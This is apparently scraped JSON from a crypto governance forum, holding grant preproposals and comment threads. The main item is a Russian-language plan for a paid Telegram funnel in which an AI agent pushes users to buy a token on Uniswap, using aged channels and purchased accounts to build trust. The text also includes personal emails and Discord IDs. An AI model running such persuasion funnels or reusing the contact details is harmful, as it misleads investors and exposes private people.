"}, {"location": "proposals/preproposals/d2f317f0-541a-4d9f-bbac-d2d394906bf2/", "title": "11. Team GonkaGate Grant Request", "text": "🔴 ExpiredAuthor: Slava MyGonka Created: 2026-06-11 05:51 UTC Closes: 2026-07-11 05:51 UTC Language: EN Votes: 0 Avg. Bid: 0.00 GNK
Team GonkaGate built a public Gonka API gateway and plans to scale infrastructure, payments, analytics, plugins, docs, and developer adoption tools.
"}, {"location": "proposals/preproposals/d2f317f0-541a-4d9f-bbac-d2d394906bf2/#full-proposal", "title": "Full Proposal", "text": "What does your team plan to build or deliver for Gonka over the next three months?
Over the next three months, Team GonkaGate plans to develop GonkaGate into a stronger reliability and developer adoption layer for the Gonka Network.
The main deliverables include:
Continue work on planned integrations, including:
Codex setup: https://github.com/GonkaGate/codex-setup
The goal is to make Gonka easier to adopt, easier to trust, and easier to use in production.
"}, {"location": "proposals/preproposals/d2f317f0-541a-4d9f-bbac-d2d394906bf2/#what-contributions-or-products-has-your-team-already-developed-for-gonka-with-links-pls", "title": "What contributions or products has your team already developed for Gonka (with links pls)?", "text": "Team GonkaGate has built GonkaGate, a public developer gateway and control panel for the Gonka Network: https://gonkagate.com
The main contribution is a practical path from “I want to try Gonka” to “my product or agent is already sending requests.” GonkaGate helps developers with API access, account setup, API keys, usage tracking, agent configuration, documentation, examples, and additional features around model calls.
The team treats GonkaGate as infrastructure, not just a demo app. The system is being built around reliability, request routing, observability, accounting, and load handling.
"}, {"location": "proposals/preproposals/d2f317f0-541a-4d9f-bbac-d2d394906bf2/#openai-compatible-gonka-api", "title": "OpenAI-compatible Gonka API", "text": "Team GonkaGate launched a public API gateway for Gonka:
https://gonkagate.com/en/gonka-api https://gonkagate.com/en/docs/quickstart https://gonkagate.com/en/docs/api/reference/overview
Developers can use a familiar OpenAI-compatible flow with chat completions, streaming, model discovery, and API-key authentication.
"}, {"location": "proposals/preproposals/d2f317f0-541a-4d9f-bbac-d2d394906bf2/#developer-dashboard", "title": "Developer dashboard", "text": "The team built a dashboard where users can manage API keys, see request history, track token usage, inspect model usage, and understand spending in USD.
"}, {"location": "proposals/preproposals/d2f317f0-541a-4d9f-bbac-d2d394906bf2/#free-developer-onboarding", "title": "Free developer onboarding", "text": "Every registered user currently receives $10 in free credits, allowing developers to test Gonka models, agents, plugins, and integrations without a payment step.
"}, {"location": "proposals/preproposals/d2f317f0-541a-4d9f-bbac-d2d394906bf2/#open-source-setup-tools-for-agents", "title": "Open-source setup tools for agents", "text": "The team published open-source installers and guides that make Gonka easier to connect to coding agents and developer tools:
https://github.com/GonkaGate/hermes-agent-setup https://github.com/GonkaGate/claude-code-setup https://github.com/GonkaGate/openclaw-setup https://github.com/GonkaGate/opencode-setup https://github.com/GonkaGate/kilo-setup https://github.com/GonkaGate/gonkagate-doctor https://github.com/GonkaGate/gonkagate-examples https://github.com/GonkaGate/awesome-gonkagate
Guides:
https://gonkagate.com/en/docs/guides/coding-agents/hermes-agent https://gonkagate.com/en/docs/guides/coding-agents/claude-code https://gonkagate.com/en/docs/guides/coding-agents/openclaw https://gonkagate.com/en/docs/guides/coding-agents/opencode https://gonkagate.com/en/docs/guides/coding-agents/kilo-code https://gonkagate.com/en/docs/guides/coding-agents/cursor
"}, {"location": "proposals/preproposals/d2f317f0-541a-4d9f-bbac-d2d394906bf2/#n8n-integration", "title": "n8n integration", "text": "The team built an n8n community package so automation builders can use Gonka inside workflows:
https://github.com/GonkaGate/n8n-nodes-gonkagate https://gonkagate.com/en/docs/guides/community/n8n
"}, {"location": "proposals/preproposals/d2f317f0-541a-4d9f-bbac-d2d394906bf2/#plugins-and-application-features", "title": "Plugins and application features", "text": "Team GonkaGate added features around Gonka that developers need in real products, including:
Docs:
https://gonkagate.com/en/docs/guides/features/plugins/overview https://gonkagate.com/en/docs/guides/features/plugins/pdf-inputs https://gonkagate.com/en/docs/guides/features/plugins/response-healing https://gonkagate.com/en/docs/guides/features/plugins/privacy-sanitization https://gonkagate.com/en/docs/guides/features/structured-outputs https://gonkagate.com/en/docs/guides/features/tool-calling https://gonkagate.com/en/docs/guides/features/presets
"}, {"location": "proposals/preproposals/d2f317f0-541a-4d9f-bbac-d2d394906bf2/#public-docs-model-pages-pricing-and-status", "title": "Public docs, model pages, pricing, and status", "text": "The team also built public developer-facing pages:
https://gonkagate.com/en/models https://gonkagate.com/en/pricing https://status.gonkagate.com
"}, {"location": "proposals/preproposals/d2f317f0-541a-4d9f-bbac-d2d394906bf2/#gnk-wallet-address", "title": "GNK Wallet Address", "text": "gonka1lv55k52lvxz074yhr7kcne86srf7dse9pvyfhm
"}, {"location": "proposals/preproposals/d2f317f0-541a-4d9f-bbac-d2d394906bf2/#your-discord-id-for-contact-purposes", "title": "Your Discord ID for Contact Purposes", "text": "279952435668320256
"}, {"location": "proposals/preproposals/d2f317f0-541a-4d9f-bbac-d2d394906bf2/#email-address", "title": "Email Address", "text": "daniil.koryto@gmail.com
"}, {"location": "proposals/preproposals/d2f317f0-541a-4d9f-bbac-d2d394906bf2/#comments-1", "title": "Comments (1)", "text": ""}, {"location": "proposals/preproposals/d2f317f0-541a-4d9f-bbac-d2d394906bf2/#slava-mygonka", "title": "💬 Slava MyGonka", "text": "2026-06-11 07:59 · 👍 0 · 👎 0
Привет! Пользуюсь вашим Гейтом. Очень доволен. Особенно радует наличие классной документации. И то, что ее можно \"скормить\" Агенту.
Вот тут похожее предложение от ваших конкурентов: https://vote.gonka.vip/tenders/f021bdb3-59f4-4906-bfaa-7b90b72019b1
Свое мнение по этому поводу я там высказал. Кратно: Поддержав один Gonka Брокер мы ставим в проигрышное положение других. Но есть идея по компенсации затрат.
Скажи, сколько инференса уже потрачено через твой Gate и сколько GNK ты за это заплатил? Вот это точно можно просить вернуть. Думаю, комьюнити одобрит.
Можно ли как-то подтвердить эти траты?
Скажи, а ты мог бы помочь с созданием документации для Хостов? Чтобы так же, как у тебя на сервисе было, через md или как там сделано? Через Контейнер? Т.е. чтобы можно было просто установить в бота и все. А дальше бот уже поставит.
И хорошо бы, чтобы этот бот был на Gonka.
Спасибо за классный сервис!
View on gonka.vote
"}, {"location": "proposals/preproposals/db4d91a4-1ee7-46ee-a3d1-0e8ba546d04b/", "title": "4. Team Gonka NL BE Community Grant Request", "text": "🔴 ExpiredAuthor: Slava MyGonka Created: 2026-06-11 05:43 UTC Closes: 2026-07-11 05:43 UTC Language: EN Votes: 0 Avg. Bid: 0.00 GNK
Gonka NL BE Community builds local Benelux awareness through Telegram communities, education, onboarding, and outreach for Dutch and Belgian users.
"}, {"location": "proposals/preproposals/db4d91a4-1ee7-46ee-a3d1-0e8ba546d04b/#full-proposal", "title": "Full Proposal", "text": "What does your team plan to build or deliver for Gonka over the next three months?
Over the next three months, the team plans to expand Gonka’s presence in the Benelux region, especially among Dutch-speaking users in the Netherlands and Belgium.
The main deliverables include:
The objective is to strengthen user adoption, community engagement, and ecosystem awareness, while building a sustainable regional community that can continue contributing to Gonka’s long-term growth.
"}, {"location": "proposals/preproposals/db4d91a4-1ee7-46ee-a3d1-0e8ba546d04b/#what-contributions-or-products-has-your-team-already-developed-for-gonka-with-links-pls", "title": "What contributions or products has your team already developed for Gonka (with links pls)?", "text": "The team established and manages a dedicated Benelux Gonka community on Telegram, focused on users, investors, and supporters from the Netherlands and Belgium.
The team shares Gonka updates, publishes educational content, answers questions, and helps onboard new members into the Gonka ecosystem.
The applicant also manages and actively maintains the following Telegram communities:
Dutch Crypto Haven — 1,331 members: https://t.me/DutchCryptoHaven
Gonka Netherlands Community — 42 members: https://t.me/gonka_nl
Through these communities, the applicant promotes Gonka, increases visibility in the Dutch and Belgian markets, and provides a trusted local space for engagement, discussion, and onboarding.
"}, {"location": "proposals/preproposals/db4d91a4-1ee7-46ee-a3d1-0e8ba546d04b/#gnk-wallet-address", "title": "GNK Wallet Address", "text": "gonka1rlcuz7yref90npgfwyqx4yeese4qk6e8y9ccwt
"}, {"location": "proposals/preproposals/db4d91a4-1ee7-46ee-a3d1-0e8ba546d04b/#your-discord-id-for-contact-purposes", "title": "Your Discord ID for Contact Purposes", "text": "Clarkkent8494
"}, {"location": "proposals/preproposals/db4d91a4-1ee7-46ee-a3d1-0e8ba546d04b/#email-address", "title": "Email Address", "text": "fissaoui01@gmail.com
"}, {"location": "proposals/preproposals/db4d91a4-1ee7-46ee-a3d1-0e8ba546d04b/#comments-1", "title": "Comments (1)", "text": ""}, {"location": "proposals/preproposals/db4d91a4-1ee7-46ee-a3d1-0e8ba546d04b/#slava-mygonka", "title": "💬 Slava MyGonka", "text": "2026-06-11 07:13 · 👍 0 · 👎 0
Привет! А я не знал про то, что у тебя большой крипто канал. Молодец!
Вопросы: 1. Ты пробовал майнинг Gonka? Кто-то из комьюнити пробовал? 2. Ты пробовал использовать инференс Gonka? Кто-то из комьюнити пробовал? 3. Сколько GNK ты бы хотел получить за 3 месяца? 4. Можешь в цифрах дать какие-то обязательства? Количество публикаций, контакты с блогерами, публикации за пределами Телеграм... Т.е. что-то, что можно было бы измерить.
Спасибо за инициативу! Здорово, что подключается европейское комьюнити!
View on gonka.vote
"}, {"location": "proposals/preproposals/e0cc7d32-5d1a-49e1-94e8-0ca3d9ccbf6b/", "title": "Привлечение $3M+ нового капитала на Uniswap", "text": "🟢 ActiveAuthor: Andrey Orlov Created: 2026-07-03 15:10 UTC Closes: 2026-08-02 15:10 UTC Language: RU Votes: 5 Avg. Bid: 138.3K GNK
Предлагаем за 90 дней привлечь от $3 млн нового капитала в GONKA через масштабируемую Telegram-воронку с поэтапным финансированием и KPI
"}, {"location": "proposals/preproposals/e0cc7d32-5d1a-49e1-94e8-0ca3d9ccbf6b/#full-proposal", "title": "Full Proposal", "text": "Суть предложения 2. Кто мы 3. Что мы предлагаем 4. KPI и экономика проекта 5. Как будет работать воронка 6. Стратегия удержания пользователей 7. Финансирование 8. Вознаграждение команды 9. Отчетность и прозрачность 10. Что получает GONKA 11. Дополнительные материалы
Мы предлагаем реализовать маркетинговую кампанию, целью которой является привлечение нового капитала в экосистему GONKA.
За 90 дней мы планируем построить систему, которая будет ежедневно привлекать новых пользователей и конвертировать их в инвесторов через покупку токена на Uniswap.
Запрашиваемый рекламный бюджет составляет $300,000.
Финансирование предлагается разделить на 6 последовательных траншей, при этом каждый следующий транш выделяется только после выполнения согласованного KPI предыдущего этапа.
Основной KPI кампании — привлечение от $3,000,000 нового капитала на uniswap
KPI построен по максимально консервативной модели и учитывает только первое финансовое действие пользователя. Повторные инвестиции, удержание аудитории, органический рост и сарафанный эффект в расчет KPI не включаются.
По нашей внутренней оценке только платный трафик способен привлечь $6–7 млн нового капитала. Однако эти показатели мы сознательно не закладываем в обязательный KPI, чтобы не завышать ожидаемый результат.
После завершения кампании GONKA получает не только новых пользователей, но и полностью готовую инфраструктуру привлечения капитала, которую сможет использовать для дальнейшего масштабирования.
Мы работаем в affiliate-маркетинге с 2023 года и сегодня самостоятельно управляем рекламным бюджетом более $70,000 в месяц.
Основная специализация нашей команды — построение Telegram-воронок для привлечения инвесторов в различные проекты. Именно этим направлением мы занимаемся ежедневно: привлекаем целевую аудиторию, выстраиваем путь пользователя от первого контакта до первого депозита и постоянно оптимизируем каждый этап воронки на основе накопленной статистики.
За последние годы мы накопили большой объем практических данных по различным географиям, хорошо понимаем экономику привлечения пользователей, стоимость подписчика, стоимость диалога и стоимость первого финансового действия. Это позволяет принимать решения не на предположениях, а на основе реальных данных.
За время работы мы сформировали собственную систему привлечения и обработки инвесторов, которую ежедневно используем в своих проектах. Мы понимаем, что результат зависит не только от качества трафика, но и от качества дальнейшей работы с пользователем, поэтому уделяем одинаковое внимание каждому этапу воронки — от первого рекламного касания до первого депозита и последующего сопровождения.
Именно этот опыт и лег в основу предложения, которое мы подготовили для GONKA.
Наша цель — построить для GONKA систему, которая будет ежедневно привлекать новый капитал через покупку токена на Uniswap.
Мы не рассматриваем этот проект как разовую рекламную кампанию. Наша задача — создать работающую систему привлечения пользователей, которую можно масштабировать и использовать в долгосрочной перспективе.
Основным показателем эффективности для нас является не количество просмотров, кликов или регистраций, а объем нового капитала, привлеченного в экосистему GONKA.
Именно поэтому вся маркетинговая стратегия, воронка, обработка пользователей и система удержания строятся вокруг одной цели — максимального объема привлеченного капитала через Uniswap с его последующим удержанием
Основной KPI кампании — привлечение не менее $3,000,000 нового капитала через Uniswap.
Мы считаем этот показатель максимально консервативным. По нашей внутренней оценке только платный трафик способен привлечь $6–7 млн нового капитала, однако эти показатели мы сознательно не закладываем в обязательный KPI.
Средняя стоимость подписчика в наших воронках составляет $4–6, стоимость нового диалога — $6–12 в зависимости от географии.
При рекламном бюджете $300,000 это позволяет получить более 30,000 новых диалогов за период кампании.
Даже сегодня, работая с менее трастовыми продуктами, около 20–23% пользователей начинают финансовое взаимодействие. При расчете KPI мы также используем минимальный размер первого депозита (FTD) — $500, несмотря на то, что фактический первый депозит многих пользователей может быть значительно выше.
KPI рассчитывается исключительно по первому финансовому действию пользователя (FTD). Повторные инвестиции (RD), удержание аудитории, органический рост и сарафанный эффект в расчет обязательного KPI не входят, поскольку именно FTD является объективной и проверяемой метрикой.
По нашему практическому опыту, основная часть привлеченного капитала формируется за счет повторных инвестиций пользователей. Именно поэтому мы фокусируемся на аудитории Tier 1, где потенциал дальнейших инвестиций значительно выше.
Именно по этой причине наша внутренняя оценка составляет $6–7 млн+, тогда как официальный KPI ограничен $3 млн и учитывает только первое финансовое действие пользователя.
Наша задача — провести пользователя от первого знакомства с проектом до покупки токена через Uniswap, а затем сопровождать его, увеличивая вероятность повторных инвестиций.
Meta Ads
Пользователь впервые знакомится с GONKA через рекламные кампании и переходит на лендинг.
↓
Лендинг
Лендинг выполняет роль промежуточного этапа перед Telegram. Его задача — вызвать первоначальный интерес к проекту, сформировать базовое доверие и мотивировать пользователя перейти в Telegram.
↓
Telegram
После перехода пользователь отправляет заявку на вступление в Telegram-канал. Бот автоматически принимает заявку, отправляет приветственное сообщение с базовой информацией о проекте и предоставляет контакты для дальнейшей коммуникации.
Telegram становится основной площадкой взаимодействия с пользователем. Именно здесь за счет контента постепенно формируется доверие к проекту.
↓
Tora AI
После первого контакта основную часть коммуникации берет на себя Tora Ai. Он отвечает на вопросы пользователей, сопровождает их, помогает разобраться в проекте и доводит большинство пользователей до первого депозита.
↓
Менеджер
Если пользователь планирует крупную инвестицию или AI Agent определяет необходимость личной коммуникации, диалог передается менеджеру, который сопровождает пользователя до совершения покупки.
↓
Покупка токена через Uniswap
Основная цель всей воронки — привлечение нового капитала через покупку токена на Uniswap.
↓
Долгосрочное сопровождение
После первого депозита работа не заканчивается. Пользователь продолжает получать сопровождение через AI Agent и менеджеров. Основная задача этого этапа — укреплять доверие к проекту, сопровождать пользователя внутри экосистемы и увеличивать объем повторных инвестиций.
Наша задача — не просто довести пользователя до первого депозита, а сделать его долгосрочным участником экосистемы GONKA.
После первого финансового действия работа с пользователем не заканчивается. AI Agent и менеджеры продолжают сопровождать пользователя, отвечают на возникающие вопросы, помогают разобраться в возможностях экосистемы и поддерживают постоянную коммуникацию.
Именно повторные инвестиции формируют основную часть долгосрочной ценности каждого привлеченного пользователя. Поэтому стратегия удержания является не отдельным этапом, а продолжением всей воронки.
Весь контент, коммуникация, работа AI Agent и менеджеров будут направлены на формирование доверия к проекту, повышение вовлеченности пользователя и долгосрочное участие в экосистеме GONKA.
Такой подход позволяет постепенно увеличивать LTV каждого пользователя, повышает вероятность повторных инвестиций и способствует формированию сообщества долгосрочных держателей токена.
Общий рекламный бюджет кампании составляет $300,000 и рассчитан на реализацию проекта в течение 3–4 месяцев.
Мы предлагаем разделить финансирование на 6 последовательных траншей по $50,000. Такая модель позволяет сообществу контролировать реализацию проекта и выделять следующий транш только после подтверждения результатов предыдущего этапа.
Первый транш полностью посвящен построению инфраструктуры, запуску рекламных кампаний и тестированию воронки. На этом этапе определяются наиболее эффективные географии, аудитории, рекламные креативы, подходы к обработке пользователей и оптимальная экономика привлечения капитала.
Несмотря на то, что первый этап является тестовым, целевой KPI первого транша составляет 3x от рекламного бюджета.
После завершения первого этапа воронка считается сформированной. Дальнейшая работа уже не связана с поиском рабочей модели — начинается ее масштабирование.
Для второго транша целевой KPI составляет 7x+.
Начиная с третьего транша и на всех последующих этапах целевой KPI составляет 10x+ от объема рекламного бюджета.
Каждый следующий транш выделяется только после подтверждения выполнения KPI предыдущего этапа. Результат подтверждается на основании фактически привлеченного капитала через Uniswap.
Мы считаем такую модель наиболее безопасной для сообщества, поскольку финансирование проекта происходит поэтапно и напрямую зависит от достигнутых результатов.
За реализацию проекта наше вознаграждение составляет:
Если KPI не выполнен, переменная часть вознаграждения не выплачивается.
Отдельно хотим отметить, что наше вознаграждение мы предлагаем выплачивать исключительно в токене GNK
Выполнение KPI будет подтверждаться на основании внутренней CRM-системы, в которой фиксируется каждый привлеченный пользователь.
После первого депозита в систему заносится адрес кошелька пользователя, сумма первого депозита и дальнейшая история его взаимодействия с проектом. Именно на основании этих данных будет производиться расчет выполнения KPI по каждому этапу кампании.
Один раз в неделю мы будем публиковать подробный отчет о ходе реализации проекта. В него войдут текущие результаты кампании, выполнение KPI, стоимость подписчика, стоимость диалога, результаты по различным географиям, текущие гипотезы, проведенные тесты, достигнутые результаты и планы на следующую неделю.
При необходимости мы готовы проводить еженедельные AMA-созвоны, на которых будем подробно отвечать на вопросы сообщества и разбирать результаты кампании.
Если в процессе реализации проекта у маркетингового комитета возникнут дополнительные вопросы, мы готовы в любой момент предоставить необходимую информацию и отдельно обсудить текущие результаты.
После завершения кампании GONKA получает не только от $3,000,000 нового капитала, но и полностью готовую систему привлечения пользователей, которая остается в распоряжении проекта и может использоваться для дальнейшего масштабирования.
В рамках реализации проекта GONKA получает:
По сути, GONKA получает не разовую рекламную кампанию, а полноценный маркетинговый актив, который продолжит работать и после завершения финансирования, привлекать новых пользователей и увеличивать объем капитала внутри экосистемы.
В Telegram-канале проводятся Google Meet / AMA-встречи, публикуются дополнительные материалы по proposal и подтверждения нашей работы.
Ссылка: https://t.me/+VRgPAZqMaaczYmI8
"}, {"location": "proposals/preproposals/e0cc7d32-5d1a-49e1-94e8-0ca3d9ccbf6b/#comments-24", "title": "Comments (24)", "text": ""}, {"location": "proposals/preproposals/e0cc7d32-5d1a-49e1-94e8-0ca3d9ccbf6b/#andrey-orlov", "title": "💬 Andrey Orlov", "text": "2026-07-03 19:06 · 👍 3 · 👎 0
1. Нет, вы немного неправильно поняли, я говорил именно про Telegram-каналы, Telegram-аккаунты мы тоже будем использовать, но это уже отдельная часть воронки
2. Нет, закупка рекламы будет осуществляться исключительно через Meta, Telegram мы используем уже как площадку для дальнейшего прогрева и коммуникации с пользователем
3. По поводу языка, здесь я тоже неправильно понял ваш предыдущий вопрос, подумал, что речь шла о языке самого proposal, Telegram-каналы не будут на русском языке, основное GEO у нас — Tier 1, поэтому основной язык будет английский, для отдельных стран возможна локализация под конкретный язык, например немецкий для Германии, русского языка в воронке не будет
4. Да, Telegram очень популярен именно среди той аудитории, на которую мы ориентируемся, это криптоинвесторы и пользователи Web3, поэтому для нашей модели привлечения это один из самых эффективных каналов коммуникации и прогрева пользователей
"}, {"location": "proposals/preproposals/e0cc7d32-5d1a-49e1-94e8-0ca3d9ccbf6b/#sergei-koniakov", "title": "💬 Sergei Koniakov", "text": "2026-07-03 18:35 · 👍 2 · 👎 0
Добрый час!
Одно дело, когда маркетолог берет 10% за купленную услугу. Услугу как правило поменять обратно на деньги без существенных потерь затруднительно.
Другое дело, когда берут 10% за купленные GNK через Uniswap. Их легко можно обменять обратно на usdt с минимальными потерями, и опять пустить в ход на покупку GNK.
Реальность такого привлечения инвесторов мы не сможем проверить. Они легко закроют сделку на обещанные 3млн$.
И даже если изначальные мотивы светлые, мы никак не сможем это перепроверить.
Вопрос: как вы сможете сделать невозможным «накрутку» результатов от ваших усилий?
"}, {"location": "proposals/preproposals/e0cc7d32-5d1a-49e1-94e8-0ca3d9ccbf6b/#andrey-orlov_1", "title": "💬 Andrey Orlov", "text": "2026-07-03 18:54 · 👍 2 · 👎 0
Да
Нет, мы используем Telegram-каналы с постами трех–пятилетней давности, после чего полностью адаптируем их под нашу воронку: создаём новый контент, нарративы и локализуем под каждое GEO, это делается для повышения доверия пользователей, что касается сотен тысяч пользователей - это обычная математика, которая рассчитывается исходя из бюджета и средней стоимости привлечения, но наша основная цель не подписчики, а депозиты и долгосрочные держатели токена
Тут нет какого-то одного обещания, под которое мы будем привлекать пользователей, вся продажа строится как единая система, начиная с момента, когда человек увидел рекламный креатив, затем попал на лендинг, в Telegram-канал, прошёл через прогрев и только после этого начал общение с обработчиком, который уже индивидуально выстраивает коммуникацию с каждым человеком, исходя из его возможностей, целей и возражений, глобально воронка одна, но подход к каждому пользователю индивидуальный, именно за счёт этого достигается максимальная конверсия и ltv
Почти весь бюджет будет направлен непосредственно на закупку рекламы, только в первом транше будет небольшая часть разовых расходов на создание всей инфраструктуры, Telegram-каналы, их оформление, подготовку, закупку аккаунтов, технические расходы и другие необходимые элементы воронки, со второго транша весь бюджет уже будет идти исключительно на масштабирование рекламы.
2026-07-03 18:55 · 👍 2 · 👎 0
Спасибо за вопрос, ответ очень простой
Мы ведём учёт каждого привлечённого депозита через адрес кошелька, после того как пользователь совершает покупку, адрес его кошелька и сумма покупки фиксируются в CRM
За счёт этого можно будет в любой момент посмотреть, какой кошелёк, на какую сумму купил токены, когда именно была совершена покупка, а также отследить его дальнейшее поведение, именно поэтому накрутить результат таким способом не получится
Мы строим воронку под долгосрочных инвесторов, а не под разовые покупки, поэтому этот механизм изначально предусмотрен в proposal
"}, {"location": "proposals/preproposals/e0cc7d32-5d1a-49e1-94e8-0ca3d9ccbf6b/#andrey-orlov_3", "title": "💬 Andrey Orlov", "text": "2026-07-03 19:17 · 👍 2 · 👎 0
Здесь, как мне кажется, вы смешали две совершенно разные вещи
Если я правильно понимаю вашу логику, вы предполагаете, что мы сами создадим тысячи кошельков, самостоятельно заведём на них капитал, купим GNK и таким образом искусственно выполним KPI
Но тогда возникает встречный вопрос, зачем нам для получения финансирования в $300,000 заводить собственные $3–5 млн и покупать на них GNK, принимая на себя весь рыночный риск? Экономически такой сценарий просто не имеет смысла.
По такой же логике получается, что все сообщения в Telegram мы тоже будем писать сами себе, при том, что по нашим расчётам речь идёт примерно о 30 000 диалогов, для этого пришлось бы закупить около 30 000 Telegram-аккаунтов, а если учитывать, что один аккаунт стоит порядка $3–4, то только на это пришлось бы потратить ещё около $120 000 собственных средств, возникает тот же вопрос, ради чего всё это делать, чтобы получить 20% от бюджета в $300 000?
Кроме того, мы фиксируем не просто факт покупки, а ведём учёт всех привлечённых кошельков, их активности, сумм, времени покупок и дальнейшего поведения, всё это можно отслеживать в динамике
Что касается Telegram, KPI считается не по сообщениям и не по количеству аккаунтов, а по объёму привлечённых инвестиций через Uniswap, это совершенно разные вещи
Если у вас есть конкретные вопросы или вы видите реальную уязвимость в нашей модели, мы с удовольствием её обсудим, но хотелось бы, чтобы критика строилась на аргументах и на том, что действительно написано в proposal, а не на гипотетических сценариях, которые экономически не имеют логики
"}, {"location": "proposals/preproposals/e0cc7d32-5d1a-49e1-94e8-0ca3d9ccbf6b/#andrey-orlov_4", "title": "💬 Andrey Orlov", "text": "2026-07-04 10:57 · 👍 2 · 👎 0
Сергей, складывается впечатление, что вы уже не первый раз обсуждаете не содержание proposal, а собственные предположения.
Сначала речь шла о «10% за результат», хотя такой модели в proposal никогда не было. Теперь появилась теория о том, что Telegram и Meta якобы выплачивают кэшбэк 15–25% от рекламного бюджета.
Честно говоря, мы впервые слышим о такой модели. Ни Meta, ни Telegram не выплачивают нам 15–25% рекламного бюджета за запуск рекламы. Мы оплачиваем рекламу платформам, а не платформы платят нам. Поэтому вся дальнейшая логика о нашей «скрытой мотивации» строится на предположении, которого в нашей модели просто в природе не существует
Что касается нашей мотивации, она полностью описана в proposal.
Мы открыто описали структуру нашего вознаграждения в proposal. Выплата напрямую привязана к результату: если KPI очередного этапа не выполнен, мы не получаем ни 12% вознаграждения за этот этап, ни финансирование следующего транша.
Кроме того, всё наше вознаграждение мы получаем исключительно в токене GONKA. Мы уверены в предложенной модели и рассчитываем на успешную реализацию proposal, поэтому сознательно связываем собственный результат с успехом проекта. Именно в этом и заключается наша мотивация, а не в каких-либо «скрытых» источниках дохода, о которых вы пишете.
Поэтому создается ощущение, что вы пытаетесь найти проблему там, где ее нет. Если есть конкретные вопросы по proposal — мы готовы их обсуждать. Но хотелось бы, чтобы обсуждение строилось на том, что действительно написано в proposal, а не на предположениях, которых в нем нет.
"}, {"location": "proposals/preproposals/e0cc7d32-5d1a-49e1-94e8-0ca3d9ccbf6b/#andrey-orlov_5", "title": "💬 Andrey Orlov", "text": "2026-07-03 20:26 · 👍 2 · 👎 1
Давайте тогда тоже по фактам.
Если следовать вашему сценарию с $100 000, которые «оборачиваются» 30 раз, то это было бы видно буквально всем, потому что мы фиксируем не только объём покупок, но и адреса кошельков, суммы, время покупки и их дальнейшее поведение, вся статистика будет доступна для проверки, поэтому повторяющееся движение одного и того же капитала очень быстро станет очевидным.
Кроме того, цель proposal - не показать разовый объём покупок, а привлечь долгосрочных держателей токена, если кошельки постоянно покупают, продают и гоняют один и тот же капитал, это сразу будет видно по их истории, такой сценарий никак не соответствует нашим KPI.
По поводу Telegram, здесь у вас тоже есть неточность, если бы вы внимательно ознакомились с proposal, то увидели бы, что обработка лидов строится на связке AI + операторов, а минимальный депозит в нашей модели составляет $500, речь не идёт о ручной переписке ради покупок на $10–100.
Мы спокойно относимся к критике и готовы обсуждать любые риски, но хотелось бы, чтобы обсуждение строилось на том, что действительно написано в proposal, а не на сценариях, которые противоречат его логике и заявленной модели работы.
"}, {"location": "proposals/preproposals/e0cc7d32-5d1a-49e1-94e8-0ca3d9ccbf6b/#dem-demingan", "title": "💬 Dem | Démíngān", "text": "2026-07-04 13:01 · 👍 2 · 👎 1
I couldn’t find a single link. Not to the author, not to their company, not to their portfolio, not to their clients. nothing that could be verified. the only thing available is the author’s TG account, which appears to have been created specifically for submitting this proposal.
It is impossible to conduct proper due diligence.
"}, {"location": "proposals/preproposals/e0cc7d32-5d1a-49e1-94e8-0ca3d9ccbf6b/#andrey-orlov_6", "title": "💬 Andrey Orlov", "text": "2026-07-05 14:56 · 👍 1 · 👎 0
Виктор, приятно видеть ваш вопрос! Сейчас подробно отвечу, так же все еще жду вас на созвон
Сразу уточню один момент, мы никогда не строили аналитику вокруг конверсий Meta → лендинг или лендинг → Telegram, потому что для нашей модели это вторичные показатели, основными метриками для нас всегда были подписчик → сообщение и сообщение → депозит, именно по ним мы оптимизировали всю воронку и строили финансовую модель proposal.
Для Tier-1 GEO стоимость подписчика в нашей модели обычно находится в диапазоне $4-6, иногда и ниже, конверсия подписчик → сообщение составляет примерно 35-50%, а сообщение → депозит при качественном трафике и нашей обработке находится в диапазоне 20-30%, именно эти диапазоны мы использовали при расчете proposal.
Все эти показатели основаны на нескольких годах практической работы именно с этой воронкой, это не теоретические расчеты и не усредненные значения из интернета, за это время мы протестировали огромное количество креативов, лендингов, механик прогрева, обработки и аналитики, именно поэтому хорошо понимаем, какие изменения действительно влияют на стоимость привлечения и конверсии, а какие нет, именно этот накопленный опыт и лег в основу финансовой модели proposal.
Если говорить о самих диапазонах, это не закрытая информация, любой человек, который профессионально работает с подобными воронками или регулярно общается с крупными медиабайинговыми командами, подтвердит, что подобные значения находятся в реалистичном диапазоне, если потребуется, в финальной версии proposal мы можем еще детальнее расписать математику по каждому этапу.
"}, {"location": "proposals/preproposals/e0cc7d32-5d1a-49e1-94e8-0ca3d9ccbf6b/#slava-mygonka", "title": "💬 Slava MyGonka", "text": "2026-07-03 18:58 · 👍 0 · 👎 0
Если я правильно понял, то речь идет не про телеграм каналы, а про телеграм экаунты, верно?
Я считаю, что зацикливаться на русском языке - это ошибка. Это не самый популярный в мире язык. Но начать можно и с него. Но не весь бюджет сюда. Только малую тестовую часть. Остальное - на другие языки.
А дальше вопрос: Популярен ли Телеграм в других языковых комьюнити?
"}, {"location": "proposals/preproposals/e0cc7d32-5d1a-49e1-94e8-0ca3d9ccbf6b/#sergei-koniakov_1", "title": "💬 Sergei Koniakov", "text": "2026-07-03 19:00 · 👍 0 · 👎 0
На вашей стороне CRM, какое-то общение и адрес кошелька.
Автоматически зарегать 1000 кошельков при помощи ПО не составляет труда. Как и не составляет труда «написать» в телеграм по рекламной ссылке.
Совершить автоматически 1000 покупок GNK на эти кошельки тоже не сложно.
Так что ваше «накрутить результат таким способом не получится» - не соответствует действительности
"}, {"location": "proposals/preproposals/e0cc7d32-5d1a-49e1-94e8-0ca3d9ccbf6b/#sergei-koniakov_2", "title": "💬 Sergei Koniakov", "text": "2026-07-04 08:21 · 👍 0 · 👎 0
Откровенно говоря, я исходил из того, что вы берёте деньги только за результат - 10% от привлеченных инвестиций в GNK на Uniswap. Эта сумма упоминалась в Gonka RU. На деле картина другая: - 8% рекламного бюджета - гарантированы по выплате; - 12% рекламного бюджета при достижении KPI; - плюс, здесь не упоминалось, но все мы знаем, что телеграм каналы и рекламные системы платят кэшбэк от рекламных бюджетов; Эти кэшбэки могут достигать 15-20-25% от рекламного бюджета;
Кэшбэк упоминается не как критика в ваш адрес а-ля «Вы хотите заработать на Gonka!», а лишь как еще 1 фактор того, что цель заработать и мотивация может лежать не в плоскости достижения KPI (12% от рекламного бюджета), а в плоскости гарантированного получения кэшбэка от рекламы + 8% от рекламного бюджета.
"}, {"location": "proposals/preproposals/e0cc7d32-5d1a-49e1-94e8-0ca3d9ccbf6b/#sergei-koniakov_3", "title": "💬 Sergei Koniakov", "text": "2026-07-04 08:23 · 👍 0 · 👎 0
